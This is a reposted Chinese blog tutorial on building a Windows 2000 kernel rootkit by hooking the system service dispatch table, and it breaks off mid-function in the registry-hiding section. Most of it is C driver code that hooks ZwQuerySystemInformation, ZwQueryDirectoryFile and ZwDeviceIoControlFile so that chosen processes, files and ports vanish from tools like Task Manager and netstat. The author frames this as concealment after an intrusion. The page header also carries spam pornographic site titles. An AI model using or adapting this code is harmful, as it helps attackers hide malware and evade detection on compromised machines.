青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

saga's blog

突出重點,系統(tǒng)全面,不留死角

  C++博客 :: 首頁 :: 聯(lián)系 :: 聚合  :: 管理
  33 Posts :: 2 Stories :: 185 Comments :: 0 Trackbacks

公告

QQ:34O859O5

常用鏈接

留言簿(15)

搜索

  •  

積分與排名

  • 積分 - 213096
  • 排名 - 124

最新評論

閱讀排行榜

評論排行榜

轉(zhuǎn)載學(xué)習(xí)   原始出處不詳了 因該是是邪惡八進制吧  不找了 呵呵

我們安全愛好者,都接觸過Rootkit,它對我們?nèi)肭趾蟮谋Wo提供了強大的支持。現(xiàn)今比較流行的Rootkit有Hxdef,NtRootkit和AFX Rootkit,而且Hxdef和AFX Rootkit還提供了源代碼,對我們的學(xué)習(xí)提供了很大的方便。這些Rootkit都是使用HOOK技術(shù)實現(xiàn)的,欺騙的是用戶,而不是操作系統(tǒng)。使用HOOK開發(fā)Rootkit是比較簡單的,雖然現(xiàn)在也有很多其他的技術(shù),但門檻都太高,很多技術(shù)都需要硬編碼,對于我等菜鳥,實在是沒有這么高深的技術(shù)。而HOOK就不同了,它開發(fā)簡單,兼容性好,而且它幾乎是你在編程道路上的一項必學(xué)技術(shù),因為太多地方需要HOOK了,使用HOOK開發(fā)Rootkit不過是其中的一個應(yīng)用而已,也是學(xué)習(xí)HOOK的一項比較好的實踐機會。好了,進入正題,本文涉及的內(nèi)容雖然不深,但也需要你有Windows編程以及驅(qū)動程序設(shè)計的基礎(chǔ)。另外,本文的所有內(nèi)容均在Windows 2000 SP4下測試成功,如無特殊提示,所以內(nèi)容都是以Windows 2000 SP4、Intel x86為平臺介紹的。


一、序言


針對本文開發(fā)的Rootkit,我們常常把它稱作Hook System Call、Sysem Service Call或System Service Dispatching,更正規(guī)的說法是Hook Windows系統(tǒng)服務(wù)調(diào)用,它是系統(tǒng)中的一個關(guān)鍵接口,提供了系統(tǒng)由用戶態(tài)切換到內(nèi)核態(tài)的功能。我們知道,一般處理器可以提供從Ring0到Ring3四種處理器模式,其中必須提供2種,就是Ring0和Ring3。一些特殊的處理器指令只能在內(nèi)核模式執(zhí)行,一些高端內(nèi)存也必須在內(nèi)核模式下才能訪問(可以通過內(nèi)存映射的方法解決,請參考其他文章,本文不做介紹)。Windows系統(tǒng)就是利用了這2個處理器模式,將系統(tǒng)的關(guān)鍵組件保護起來,只有在內(nèi)核模式才可以訪問,并提供了一個上層接口,供用戶程序訪問,一切都是在MS的管理之下(悲哀啊!)。下面是Windowx體系結(jié)構(gòu)的簡略圖。


[-------------------Windowx體系結(jié)構(gòu)---------------------]
系統(tǒng)進程,服務(wù)進程,應(yīng)用程序,環(huán)境子系統(tǒng)
應(yīng)用程序編程接口(API)
基于NTDLL.DLL的本地系統(tǒng)服務(wù)
(用戶模式)
---------------------------------------------------------------
(內(nèi)核模式)
系統(tǒng)服務(wù)調(diào)用(SSDT)
執(zhí)行體(Executive)
系統(tǒng)內(nèi)核,設(shè)備驅(qū)動(Kernel)
硬件抽象層(HAL)


二、Windows系統(tǒng)服務(wù)調(diào)用


1.機制
Windows 2000的陷阱調(diào)度(Trap Dispatching)機制包括了:中斷(Interrupt),延遲過程調(diào)用(Deferred Procedure Call),異步過程調(diào)用(Asynchronous Procedure Call),異常調(diào)度(Exception Dispatching)和系統(tǒng)服務(wù)調(diào)用(System Service Call)。在Intel x86平臺的Windows 2000使用int 0x2e指令進入Windows系統(tǒng)服務(wù)調(diào)用;Windows XP使用sysenter指令使系統(tǒng)陷入系統(tǒng)服務(wù)調(diào)用程序中;而AMD平臺的Windows XP系統(tǒng)使用syscall指令進入Windows系統(tǒng)服務(wù)調(diào)用。下面是Intel x86平臺的Windows 2000的系統(tǒng)服務(wù)調(diào)用模型。


mov eax, ServiceId
lea edx, ParameterTable
int 2eh
ret ParamTableBytes


其中ServiceId是傳遞給系統(tǒng)服務(wù)調(diào)用程序的ID號,內(nèi)核使用這個ID號來查找系統(tǒng)服務(wù)調(diào)度表(System Service Dispath Table)中的對應(yīng)系統(tǒng)服務(wù)信息。在系統(tǒng)服務(wù)調(diào)度表中,每一項都包含了一個指向具體的系統(tǒng)服務(wù)程序的指針,我們就是需要HOOK這個指針,使其指向我們自定義的代碼(稍后會詳述)。ParameterTable是傳遞的參數(shù),系統(tǒng)服務(wù)調(diào)用程序KiSystemService函數(shù)會嚴格檢查傳遞的每一個參數(shù),并將其參數(shù)從線程的用戶內(nèi)存中復(fù)制到系統(tǒng)的內(nèi)存中,以便內(nèi)核可以訪問。執(zhí)行的int指令會導(dǎo)致陷阱發(fā)生,所以Windows 2000內(nèi)的中斷描述表(Interrupt Descriptor Table)中的0x2e指向了系統(tǒng)服務(wù)調(diào)用程序。最后的ParamTableBytes是返回的參數(shù)個數(shù)的信息。

其實,系統(tǒng)服務(wù)調(diào)用也是一個接口,是面向Windows內(nèi)核的接口。它實現(xiàn)了將用戶模式下的請求轉(zhuǎn)發(fā)到內(nèi)核模式下,并引發(fā)了處理器模式的切換。在用戶看來,系統(tǒng)服務(wù)調(diào)用就是與Windows內(nèi)核通信的一個橋梁。

2.類型
在Windows 2000中默認存在兩個系統(tǒng)服務(wù)調(diào)度表,它們對應(yīng)了兩類不同的系統(tǒng)服務(wù)。這兩個系統(tǒng)服務(wù)調(diào)度表分別是:KeServiceDescriptorTable和KeServiceDescriptorTableShadow。前者有ntoskrnl.exe導(dǎo)出,后者由Win32k.sys導(dǎo)出。在系統(tǒng)中,有三個DLL是最重要的:Kernel32.dll、User32.dll和Gdi32.dll,這些DLL導(dǎo)出的函數(shù),都是通過某種類型的中斷進入內(nèi)核態(tài),然后調(diào)用ntoskrnl.exe或Win32k.sys中的函數(shù)。函數(shù)KeAddSystemServiceTable允許Win32.sys和其他設(shè)備驅(qū)動程序添加系統(tǒng)服務(wù)表。除了Win32k.sys服務(wù)表外,使用KeAddSystemServiceTable添加的服務(wù)表會被同時復(fù)制到KeServiceDescriptorTable和KeServiceDescriptorTableShadow中去。

●注:由于本文的Rootkit只針對KeServiceDescriptorTable,KeServiceDescriptorTableShadow只會稍微提及一些,不會詳述。●

另外在提一下,NTDLL.DLL和ntoskrnl.exe的關(guān)系很“微妙”,用戶態(tài)和內(nèi)核態(tài)的調(diào)用也是有分別的,比如:參數(shù)檢查。還有Native API導(dǎo)出了2套函數(shù):Zw***和Nt***,要想徹底了解這些內(nèi)容,推薦看Sunwear寫的《淺析本機API》,我們的論壇原創(chuàng)版有這篇文章http://www.eviloctal.com/forum/index.php

綜上所述,Kernel32.dll/Advapi32.dll進入NTDLL.DLL后,使用int 0x2e中斷進入內(nèi)核,最后在ntoskrnl.exe中實現(xiàn)了真正的函數(shù)調(diào)用;User32.dll和Gdi32.dll則在Win32k.sys中實現(xiàn)了真正的函數(shù)調(diào)用。


三、HOOK系統(tǒng)服務(wù)


HOOK系統(tǒng)服務(wù),首先需要定位系統(tǒng)服務(wù)調(diào)度表,這里需要一個未公開的ntoskrnl.exe導(dǎo)出單元KeServiceDescriptorTable,它對應(yīng)一個簡單的數(shù)據(jù)結(jié)構(gòu),使用它完成對系統(tǒng)服務(wù)調(diào)度表的修改。


typedef struct servicetable
{
UINT *ServiceTableBase;
UINT *ServiceCounterTableBase;
UINT NumberOfService;
UCHAR *ParamerterTableBase;
}ServiceDescriptorTableEntry,*PServiceDescriptorTableEntry;


ServiceTableBase指向系統(tǒng)服務(wù)程序的地址,我們需要對它進行HOOK,使這個地址指向我們的代碼。ParamerterTableBase是參數(shù)列表的地址,它們都包含了NumberOfService這么多個單元。

我們先用SoftICE分析一下系統(tǒng)服務(wù)調(diào)度表。使用ntcall命令可以列出系統(tǒng)中的系統(tǒng)服務(wù)調(diào)度表,但不同的系統(tǒng),不同的SP補丁,系統(tǒng)服務(wù)調(diào)度表肯定是不會相同的,因為MS隨時都會修改此表。Ntcall命令的輸出類似這樣:

000A 0008:8049860A params=06 NtAdjustPrivilegesToken

000A是它的序號,8049860A是其地址,params=06表示有6個參數(shù),NtAdjustPrivilegesToken就是函數(shù)名了,對應(yīng)的API是AdjustPrivilegesToken。Win32k.sys導(dǎo)出的系統(tǒng)服務(wù)調(diào)度表位于KeServiceDescriptorTable+50h處,ServiceID從1000h開始,其結(jié)構(gòu)基本和ntoskrnl.exe一樣。我們具體看一下,由于SoftICE的輸出非常多,這里只節(jié)選一小部分。


:dd KeServiceDescriptorTable l 4*4
//如果要查看Win32k.sys,則使用dd KeServiceDescriptorTable+50 l 4*4
0008:8047F7E0 80471128 00000000 000000F8 8047150C ……
……

8047F7E0為KeServiceDescriptorTable的地址,80471128為ServiceTableBase的地址,000000F8為NumberOfService,8047150C為ParamerterTableBase。

:dd @KeServiceDescriptorTable l byte(@(KeServiceDescriptorTable+08))*4
0008:80471128 804C3D66 804F7F84 804FADF2 804F7FAE ……
……

80471128地址處為ServiceID=0的系統(tǒng)服務(wù)入口地址。在來看一下參數(shù)列表。

:dd @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
0008:8047150C 2C2C2018 44402C40 0818180C 100C0404 ……
:db @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
0008:8047150C 18 20 2C 2C 40 2C 40 44 0C 18 18 08 04 04 0C 10 ……


18 20 2C 2C,這里的18表示參數(shù)個數(shù),即18h/4=6。根據(jù)上面的分析,我們只要修改ServiceTableBase到ServiceTableBase+NumberOfService*4范圍的數(shù)據(jù)就可以改變系統(tǒng)服務(wù)的執(zhí)行流程;修改ServiceID就可以改變這一個系統(tǒng)服務(wù)的入口地址,我以ZwQuerySystemInformation為例說明一下。


:u ZwQuerySystemInformation
ntoskrnl!ZwQuerySystemInformation
0008:8042F288 MOV EAX, 00000097
0008:8042F280 LEA EDX, [ESP+04]
0008:8042F291 INT 2E
0008:8042F293 RET 0010


使用ZwQuerySystemInformation的線性地址+1,就可以定位ServiceID,即入口地址,將這個地址指向我們的函數(shù),就大功告成了。首先需要將KeServiceDescriptorTable引入,這樣才能操作系統(tǒng)服務(wù)調(diào)度表。

__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;


然后定義一個宏,參數(shù)是需要HOOK函數(shù)的線性地址。

#define SYSCALL(_Function)
KeServiceDescriptorTable.ServiceTableBase[*(ULONG *)((UCHAR *)_Function+1)]


將_Function+1即可確定ServiceID的位置,即在系統(tǒng)服務(wù)調(diào)度表中的入口地址。有了這個宏,就可以“自由”的將地址指向“任何”位置,我以ZwQuerySystemInformation為例進行演示。首先定義一個typedef函數(shù)指針,用于保存原ZwQuerySystemInformation的地址。


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION) (
IN ULONG SystemInformationClass,
……);



聲明ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; 然后定義HOOK函數(shù)。


NTSTATUS NewZwQuerySystemInformation (
……);


最后還差一個線性地址的函數(shù),這個函數(shù)需要遵循DDK函數(shù)的調(diào)用約定,它什么工作都不做,只是幫助我們得到線性地址,進而在系統(tǒng)服務(wù)調(diào)度表中找到入口地址。


NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
……);


萬事具備,只欠東風(fēng)。使用SYSCALL宏保存原函數(shù)地址,然后指向新函數(shù)。


OldZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation)); //保存原函數(shù)地址

_asm cli

(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=NewZwQuerySystemInformation; //指向新函數(shù)

_asm sti


還原的時候只需將OldZwQuerySystemInformation的地址指向ServiceTableBase即可。


_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=OldZwQuerySystemInformation; //還原

_asm sti


這樣就可以HOOK成功了。其實想想,不過是使用HOOK函數(shù)的線性地址確定在系統(tǒng)服務(wù)調(diào)度表中的入口地址,然后將這個入口地址指向新函數(shù)或舊函數(shù),用SoftICE看看HOOK前后的系統(tǒng)服務(wù)調(diào)度表就明白了。

下面的內(nèi)容就是具體開發(fā)了,包括隱藏進程,文件/目錄,端口,注冊表,內(nèi)核模塊,服務(wù)/驅(qū)動,用戶,需要說一下的是,隱藏服務(wù)/驅(qū)動,用戶是用戶態(tài)的HOOK,在隱藏服務(wù)的章節(jié)中,我會介紹用戶態(tài)的HOOK,其他都是在內(nèi)核下完成的。


四、隱藏進程


我們平常枚舉進程,都是使用HelpTool庫、Psapi庫中的函數(shù),這些函數(shù)最終會調(diào)用ZwQuerySystemInformation函數(shù),所以只要HOOK這個函數(shù),就可以隱藏進程,使類似任務(wù)管理器這樣的工具不會發(fā)現(xiàn)隱藏的進程。HOOK的方法前邊已經(jīng)說過,所以這里只給出HOOK后函數(shù)的處理代碼,很好理解。

首先說說ZwQuerySystemInformation函數(shù),使用它可以查詢詳細的系統(tǒng)信息,信息類型多達54種,我們在用戶態(tài)使用的很多查詢系統(tǒng)信息的API,其實最終都是調(diào)用的它。在這54種查詢類型中,包含進程信息的有2個,一個是信息類型為5,另一個則為16,前者為系統(tǒng)的進程信息,后者為系統(tǒng)的句柄表,其中包含進程ID。這2個查詢信息的方法是不同的,所以要分別HOOK。下面是ZwQuerySystemInformation函數(shù)的原型。

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
IN ULONG SystemInformationClass, //獲取的系統(tǒng)信息類別
IN OUT PVOID SystemInformation, //返回的信息指針
IN ULONG SystemInforamtionLength, //長度
OUT PULONG ReturnLength OPTIONAL); //實際的緩沖區(qū)大小

如果SystemInformationClasss為5,那么SystemInformation會返回下面這個結(jié)構(gòu)。

typedef struct system_porcess
{
ULONG NextEntryDelta; //進程偏移
ULONG ThreadCount; //線程數(shù)
ULONG Reserved1[6]; //保留
LARGE_INTEGER CreateTime; //進程創(chuàng)建時間
LARGE_INTEGER KernelTime; //內(nèi)核占用時間
LARGE_INTEGER UserTime; //用戶占用時間
UNICODE_STRING ProcessName; //進程名
KPRIORITY BasePriority; //優(yōu)先級
ULONG ProcessId; //進程ID
ULONG InheritedProcessId; //父進程ID
ULONG HandleCount; //句柄數(shù)
ULONG Reserved2[2]; //保留
VM_COUNTERS VmCounters; //VM信息
IO_COUNTERS IoCounters; //IO信息
SYSTEM_THREAD SystemThread[1]; //線程信息
}SYSTEM_PROCESS,*LPSYSTEM_PROCESS;

如果SystemInformationClasss為16,則返回下面這個結(jié)構(gòu)。
typedef struct system_handle_entry
{
ULONG ProcessId; //進程ID
UCHAR ObjectType; //句柄類型
UCHAR Flags; //標志
USHORT HandleValue; //句柄的數(shù)值
PVOID ObjectPointer; //句柄所指向的內(nèi)核對象地址
ACCESS_MASK GrantedAccess; //訪問權(quán)限
}SYSTEM_HANDLE_ENTRY,*LPSYSTEM_HANDLE_ENTRY;

typedef struct system_handle_info
{
ULONG Count; //系統(tǒng)句柄數(shù)
SYSTEM_HANDLE_ENTRY Handle[1]; //句柄信息
}SYSTEM_HANDLE_INFORMATION,*LPSYSTEM_HANDLE_INFORMATION;

對于信息類5,我們需要改變NextEntryDelta結(jié)構(gòu)成員,它是進程列表的偏移地址。比如第一個進程信息在SystemInformation+0處,那么第二個信息就在SystemInformation+第一個NextEntryDelta處,依次類推,最后一個進程信息的NextEntryDelta就為0了。也就是說,如果要隱藏第一個進程,就向前移動緩沖區(qū),移動的長度是第一個進程信息結(jié)構(gòu)的大小;如果要隱藏中間的進程,則多加一個NextEntryDelta,就可以覆蓋掉要隱藏的進程信息結(jié)構(gòu);如果要隱藏最后一個進程,將NextEntryDelta設(shè)置為0就可以了。

對于信息類16,就沒有什么偏移地址了,而是一個完整的緩沖區(qū),我們要隱藏那個句柄,就向前移動SYSTEM_HANDLE_ENTRY結(jié)構(gòu)的大小,覆蓋掉要隱藏的數(shù)據(jù)。

NTSTATUS NewZwQuerySystemInformation (
IN ULONG SystemInformationClass,
……)
{
......
//請求原函數(shù)
ntStatus=(OldZwQuerySystemInformation)(SystemInformationClass,……);

//SystemInformationClass==16 枚舉系統(tǒng)句柄表
if (NT_SUCCESS(ntStatus) && SystemInformationClass==16)
{
//指向句柄表緩沖區(qū)
lpSystemHandle=(LPSYSTEM_HANDLE_INFORMATION)SystemInformation;
Num=lpSystemHandle->Count; //取得系統(tǒng)句柄數(shù)

for (n=0; n<Num; n++)
{
//比較句柄表中的進程ID
if (HIDDEN_SYSTEM_HANDLE==lpSystemHandle->Handle[n].ProcessId)
{
//向前移動句柄表緩沖區(qū)
memcpy((lpSystemHandle->Handle+n),(lpSystemHandle->Handle+n+1),
(Num-n-1) * sizeof (SYSTEM_HANDLE_ENTRY));
Num--; //總數(shù)要--
n--;
}
}
}

//SystemInformationClass==5 枚舉系統(tǒng)進程
if (NT_SUCCESS(ntStatus) && SystemInformationClass==5)
{
//指向進程列表緩沖區(qū)
ProcCurr=(LPSYSTEM_PROCESS)SystemInformation;
while (ProcCurr)
{
RtlUnicodeStringToAnsiString(&ProcNameAnsi,&ProcCurr->ProcessName,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_PROCESS,ProcNameAnsi.Buffer,
strlen(ProcNameAnsi.Buffer))==0)
{
//移動進程偏移NextEntryDelta
if (ProcPrev)
{
if (ProcCurr->NextEntryDelta)
ProcPrev->NextEntryDelta+=ProcCurr->NextEntryDelta;
else
ProcPrev->NextEntryDelta=0;
}
else
{
if (ProcCurr->NextEntryDelta)
SystemInformation=(LPSYSTEM_PROCESS)((TCHAR *)
ProcCurr+ProcCurr->NextEntryDelta);
else
SystemInformation=NULL;
}
}

ProcPrev=ProcCurr;
//下一進程
if (ProcCurr->NextEntryDelta)
ProcCurr=(LPSYSTEM_PROCESS)((TCHAR *)
ProcCurr+ProcCurr->NextEntryDelta);
else
ProcCurr=NULL;
}
}

……
return ntStatus;
}

HIDDEN_SYSTEM_HANDLE和HIDDEN_SYSTEM_PROCESS是2個宏,分別為隱藏的進程ID和進程名。下面介紹隱藏文件/目錄。


五、隱藏文件/目錄


枚舉文件使用ZwQueryDirectoryFile函數(shù),其原型如下:

NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile (
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN ReturnOnlyOneEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartQuery);

hFile為文件句柄,由ZwCrateFile或ZwOpenFile獲得,F(xiàn)ileInfoClass是一個不斷變化的枚舉類型,但只有4個同文件/目錄有關(guān)。FileInformationBuffer是返回的信息指針。我們要隱藏文件/目錄,就要處理這4個不同的枚舉類型,它們的數(shù)值分別是:1、2、3和12,分別對應(yīng)4個不同的結(jié)構(gòu),由于結(jié)構(gòu)內(nèi)容比較長,所以只介紹信息類為12的內(nèi)容,其他可以在光盤中的FileInfo.txt中找到。信息類為12返回的結(jié)果如下:

typedef struct file_name_info {
ULONG NextEntryOffset; //文件偏移
ULONG Unknown; //下一文件索引
ULONG FileNameLength; //文件長度
WCHAR FileName[1]; //文件名
}FILE_NAMES_INFORMATION,*LPFILE_NAMES_INFORMATION;

隱藏文件/目錄的方法和隱藏進程基本上一樣,如果沒有文件/目錄被找到,應(yīng)該返回0x80000006。

NTSTATUS NewZwQueryDirectoryFile (
IN HANDLE hFile,
……)
{
......
//請求原函數(shù)
ntStatus=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (hFile,……);

if (NT_SUCCESS(ntStatus) && FileInfoClass==12)
{
//指向文件列表緩沖區(qū)
FileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;
do {
LastOne=!(FileCurr->NextEntryOffset); //取偏移
FileNameLength=FileCurr->FileNameLength; //取長度
RtlInitUnicodeString(&FileNameWide,FileCurr->FileName);
RtlUnicodeStringToAnsiString(&FileNameAnsi,&FileNameWide,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_FILE,FileNameAnsi.Buffer,
(FileNameLength / 2))==0)
{
//最后一個文件
if (LastOne)
{
if (FileCurr==(LPFILE_NAMES_INFORMATION)
FileInformationBuffer)
ntStatus=0x80000006; //隱藏
else
FilePrev->NextEntryOffset=0;
}
else
{
//移動文件偏移
Pos=((ULONG)FileCurr)-((ULONG)FileInformationBuffer);
Left=(DWORD)FileInformationBufferLength-Pos-
FileCurr->NextEntryOffset;
RtlCopyMemory((PVOID)FileCurr,(PVOID)((char *)
FileCurr+FileCurr->NextEntryOffset),(DWORD)Left);
continue;
}
}

//下一文件
FilePrev=FileCurr;
FileCurr=(LPFILE_NAMES_INFORMATION)((char *)
FileCurr+FileCurr->NextEntryOffset);
}while (!LastOne);
}

……
return ntStatus;
}

HIDDEN_SYSTEM_FILE同樣是宏,另外,文件長度是以Unicode統(tǒng)計的,一個字符占16位,而比較語句是以ANSI比較的,一個字符占8位,所以_strnicmp函數(shù)最后的比較大小是FileNameLength / 2,如果以Unicode比較,就不必除以2了。在來看看隱藏端口。


六、隱藏端口


枚舉端口使用iphlpapi.dll中的函數(shù),而它們最終調(diào)用的是ZwDeviceIoControlFile函數(shù),使用它發(fā)送一個特定的IRP獲取端口列表,所以只要HOOK了ZwDeviceIoControlFile函數(shù),就可以隱藏端口。函數(shù)原型如下:

NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile (
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength);

FileHandle為通信設(shè)備的句柄,可以使用ZwQueryObject函數(shù)獲得其具體信息,對于端口設(shè)備的,它的名字總是\Device\Tcp或\Device\Udp;IoControlCode為特定的I/O控制代碼,表示要查詢的信息。InputBuffer和OutputBuffer分別為輸入輸出緩沖。

查詢端口的I/O控制代碼有2個,分別為:0x210012和0x120003,它們所返回的結(jié)構(gòu)、分辨TCP/UDP端口都是不同的,需要分別對待。在我的Windows 2000 SP4下,Netstat使用0x120003,而Fport卻使用0x210012。對于0x120003,返回的結(jié)構(gòu)如下:

typedef struct tcpaddrentry //TCP
{
ULONG TcpState; //狀態(tài)
ULONG TcpLocalAddr; //本地地址
ULONG TcpLocalPort; //本地端口
ULONG TcpRemoteAddr; //遠程地址
ULONG TcpRemotePort; //遠程端口
}TCPADDRENTRY,*LPTCPADDRENTRY;

typedef struct udpaddrentry //UDP
{
ULONG UdpLocalAddr; //UDP只有本地地址
ULONG UdpLocalPort; //端口
}UDPADDRENTRY,*LPUDPADDRENTRY;

很熟悉吧,這正是iphlpapi.dll中的函數(shù)返回的結(jié)構(gòu)。對于這2個結(jié)構(gòu),還可以擴展,則會增加一個進程ID,不過只適用XP/2003,結(jié)構(gòu)就不帖了,可以在RootkitMain.h中查找到。使用這個I/O控制代碼進行端口查詢,F(xiàn)ileHandle的名字總是\Device\Tcp,所以區(qū)別TCP和UDP的方法是檢查InputBuffer,包括判斷是否為擴展結(jié)構(gòu)。

對于TCP查詢,輸入緩沖的特征是InputBuffer[0]為0x00,如果OutputBuffer中已經(jīng)有了端口數(shù)據(jù),則InputBuffer[17]為0x01,如果是擴展結(jié)構(gòu),則InputBuffer[16]為0x02。對于UDP查詢,InputBuffer[0]就為0x01了,InputBuffer[16]和InputBuffer[17]的值和TCP查詢是一樣的。我們使用這3個值來區(qū)分TCP/UDP端口和是否為擴展結(jié)構(gòu),OutputBuffer返回的是完整的端口列表緩沖區(qū),使用IoStatusBlock取得端口的數(shù)量,隱藏某個端口,就向前移動緩沖區(qū)。對于0x210012,返回的結(jié)構(gòu)如下:

typedef struct tdiconnectinfo
{
ULONG State;
ULONG Event;
ULONG TransmittedTsdus;
ULONG ReceivedTsdus;
ULONG TransmissionErrors;
ULONG ReceiveErrors;
LARGE_INTEGER Throughput;
LARGE_INTEGER Delay;
ULONG SendBufferSize;
ULONG ReceiveBufferSize;
BOOLEAN Unreliable;
}TDI_CONNECTION_INFO,*LPTDI_CONNECTION_INFO;

使用這個I/O控制代碼進行端口查詢,F(xiàn)ileHandle的名字是\Device\Tcp或\Device\Udp,所以分別TCP或UDP不需要輸入緩沖,而是使用ZwQueryObject函數(shù)獲取句柄的名字。OutputBuffer返回的是單獨的緩沖區(qū),也就是說,一個端口返回一個,隱藏某個端口,就將返回值設(shè)置為STATUS_INVALID_ADDRESS即可。

NTSTATUS NewZwDeviceIoControlFile (
IN HANDLE FileHandle,
......)
{
......
//請求原函數(shù)
ntStatus=((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile))(FileHandle,……);

if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x210012))
{
//查詢句柄名稱 以便確定是TCP還是UDP
if (NT_SUCCESS(ZwQueryObject(FileHandle,
OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
{
//指向端口列表緩沖區(qū)
lpTdiConnInfo=(LPTDI_CONNECTION_INFO)OutputBuffer;
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);

//TCP端口
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
strlen(TCP_PORT_DEVICE))==0)
{
if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
ntStatus=STATUS_INVALID_ADDRESS; //隱藏
}

//UDP端口
if (_strnicmp(ObjectNameAnsi.Buffer,UDP_PORT_DEVICE,
strlen(UDP_PORT_DEVICE))==0)
{
if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
ntStatus=STATUS_INVALID_ADDRESS; //隱藏
}
}
}

if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x120003))
{
if (NT_SUCCESS(ZwQueryObject(FileHandle,
OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
{
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
strlen(TCP_PORT_DEVICE))==0)
{
if (((InBuf=(LPBYTE)InputBuffer)==NULL) || (InputBufferLength<17))
//錯誤處理

if ((InBuf[0]==0x00) && (InBuf[17]==0x01)) //TCP端口
{
if (InBuf[16]!=0x02) //非擴展結(jié)構(gòu)
{
//獲取端口個數(shù)
Num=IoStatusBlock->Information / sizeof (TCPADDRENTRY);
lpTcpAddrEntry=(LPTCPADDRENTRY)OutputBuffer;

for (n=0; n<Num; n++)
{
if (ntohs(lpTcpAddrEntry[n].TcpLocalPort)==
HIDDEN_SYSTEM_PORT)
{

//向前移動端口列表緩沖區(qū)
memcpy((lpTcpAddrEntry+n),(lpTcpAddrEntry+n+1),
((Num-n-1) * sizeof (TCPADDRENTRY)));
Num--; //總數(shù)--
n--;
break;
}
}

//隱藏后端口總數(shù)
IoStatusBlock->Information=Num * sizeof (TCPADDRENTRY);
......
}
}
……
}
}
}

return ntStatus;
}

0x120003查詢的UDP和處理擴展結(jié)構(gòu)的代碼就不帖了,和處理TCP一樣,無非就是結(jié)構(gòu)不同,隱藏都是memcpy移動緩沖。還有必須檢查InBuf[17]是否為0x01,否則指向的OutputBuffer就是NULL指針了。下面的內(nèi)容是隱藏注冊表。


七、隱藏注冊表


枚舉注冊表鍵和鍵值使用的Native API是ZwEnumerateKey和ZwEnumerateValueKey函數(shù),它們所做的工作基本一樣,都是使用索引獲取鍵/鍵值,并返回一個緩沖區(qū)指針。ZwEnumerateKey函數(shù)原型如下,ZwEnumerateValueKey函數(shù)和它幾乎一樣,就不帖出來了。

NTSYSAPI NTSTATUS NTAPI ZwEnumerateKey (
IN HANDLE KeyHandle, //句柄
IN ULONG Index, //請求的索引
IN KEY_INFORMATION_CLASS KeyInformationClass, //獲取的信息類型
OUT PVOID KeyInformation, //返回的緩沖區(qū)指針
IN ULONG Length, //長度
OUT PULONG ResultLength); //實際長度

DDK中公開了若干注冊表函數(shù),所以這2個函數(shù)的結(jié)構(gòu),枚舉類型都已經(jīng)定義好了,直接使用就可以了。KeyInformationClass一共4個值,可喜的是我們不必逐個處理,統(tǒng)一處理就可以了,因為只需要注冊表鍵/鍵值名和其長度,而返回的這4個結(jié)構(gòu)中都包含這2個結(jié)構(gòu)成員,所以才可以統(tǒng)一處理。這里我們使用KEY_BASIC_INFORMATION結(jié)構(gòu)。

typedef struct _KEY_BASIC_INFORMATION {
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG NameLength;
WCHAR Name[1];
}KEY_BASIC_INFORMATION,*PKEY_BASIC_INFORMATION;

這里我們需要的東西是Name和它的長度NameLength。而對于ZwEnumerateValueKey函數(shù),我們使用KEY_VALUE_BASIC_INFORMATION結(jié)構(gòu)(和KEY_BASIC_INFORMATION幾乎一樣,所以請查詢DDK Documentation文檔)。

枚舉注冊表鍵/鍵值,是通過索引獲取的,這樣的話,我們隱藏了一個注冊表鍵/鍵值,那其后的所有索引都需要改變。這里就需要有一個標界,理所當然是利用KeyHandle的值,不同子鍵的句柄值是不同的。舉個例子,例如隱藏了KeyHandle為1下的某一個注冊表鍵,那么其后KeyHandle為1下的所有索引(注冊表鍵)都需要+1,而不是KeyHandle為1的就不需要加了。具體看一下代碼,這里仍以ZwEnumerateKey函數(shù)為例。

NTSTATUS NewZwEnumerateKey (
